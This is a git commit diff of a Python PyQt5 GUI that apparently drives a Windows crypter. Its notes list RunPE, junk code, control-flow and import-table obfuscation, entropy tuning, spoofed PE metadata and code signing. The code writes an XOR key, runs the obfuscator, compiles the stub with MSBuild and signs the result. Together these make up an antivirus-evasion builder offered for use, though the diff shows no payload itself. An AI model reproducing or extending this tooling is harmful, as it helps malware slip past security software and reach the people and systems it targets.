add: control flow, code signing, build status check. fix: obfuscator

This commit is contained in:
2023-09-04 16:34:24 +02:00
parent 8ee02cdff5
commit b359d4b833
9 changed files with 874 additions and 623 deletions

61
gui.py
View File

@@ -7,11 +7,28 @@
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
"""
TODO :
- LoadPE (KEKW)
- Good entropy
- Good Section sizes
- Add resources
- Code signing
- Change PE metadata (company, description, etc...)
- Random Windows API calls (help)
Done :
- RunPE
- Junk code
- Control flow
- IAT obfuscation (adding "normal" imports in addition to the others)
"""
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QApplication
from PyQt5.QtCore import QCoreApplication
from obfuscation import obfuscate
from sign import sign
import os, shutil
class Ui_mainWindow(object):
@@ -59,11 +76,19 @@ class Ui_mainWindow(object):
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
self.spinBox.setObjectName("spinBox")
self.spinBox.setValue(5)
self.spinBox.setValue(6)
self.spinBox.setMinimum(1)
self.label_3 = QtWidgets.QLabel(self.centralwidget)
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
self.label_3.setObjectName("label_3")
self.label_4 = QtWidgets.QLabel(self.centralwidget)
self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13))
self.label_4.setObjectName("label_4")
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
self.spinBox_2.setObjectName("spinBox_2")
self.spinBox_2.setValue(2)
self.spinBox_2.setMinimum(1)
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
self.checkBox_3.setObjectName("checkBox_3")
@@ -94,6 +119,7 @@ class Ui_mainWindow(object):
self.label_2.setText(_translate("mainWindow", ""))
self.label_2.hide()
self.label_3.setText(_translate("mainWindow", "Pass :"))
self.label_4.setText(_translate("mainWindow", "Pass :"))
self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
@@ -137,16 +163,11 @@ class Ui_mainWindow(object):
with open("config.h", "w") as c :
c.write(f'#pragma once\n#define KEY "{xor_key}"')
if self.cflow : # Make control flow stuff
pass
if self.junk : # Add junk code
self.label_2.setText("Adding junk code...")
QCoreApplication.processEvents()
print(self.spinBox.value())
obfuscate(self.spinBox.value())
self.label_2.setText("done.")
QCoreApplication.processEvents()
self.label_2.setText("Adding junk code...")
QCoreApplication.processEvents()
obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
self.label_2.setText("done.")
QCoreApplication.processEvents()
self.label_2.setText("Compiling...")
QCoreApplication.processEvents()
@@ -154,14 +175,24 @@ class Ui_mainWindow(object):
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
return_code = os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
if return_code :
self.label_2.setText("build failed.")
QCoreApplication.processEvents()
else :
self.label_2.setText("Signing the file...")
QCoreApplication.processEvents()
sign(out_filename)
# Cleaning up..
os.remove("main.cpp")
os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
self.label_2.setText(f"--> {out_filename}")
QCoreApplication.processEvents()
if not return_code :
self.label_2.setText(f"--> {out_filename}")
QCoreApplication.processEvents()
def fileDialog(self):
options = QtWidgets.QFileDialog.Options()
options |= QtWidgets.QFileDialog.ReadOnly